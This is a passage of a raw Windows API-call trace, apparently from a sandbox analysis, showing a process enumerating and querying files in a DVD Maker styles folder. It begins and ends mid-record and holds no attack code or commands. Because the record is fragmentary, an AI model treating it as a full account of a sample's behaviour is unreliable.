FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.178] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="")) returned 1 [0067.178] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.234] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0067.234] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.234] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcad10 [0067.234] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcad10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcad10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.234] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcad10) returned 1 [0067.234] NtClose (Handle=0x198) returned 0x0 [0067.235] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.235] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.235] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.281] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.281] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca648 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8628 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.281] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca668 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8730 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca688 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8838 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca6a8 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8940 [0067.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.282] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.282] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca6c8 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8a48 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xe80) returned 0xfcad10 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca6e8 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8b50 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca708 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8c58 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca728 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8d60 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca748 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8e68 [0067.284] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.284] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca768 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc8f70 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca788 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc9078 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca7a8 [0067.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc9180 [0067.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, 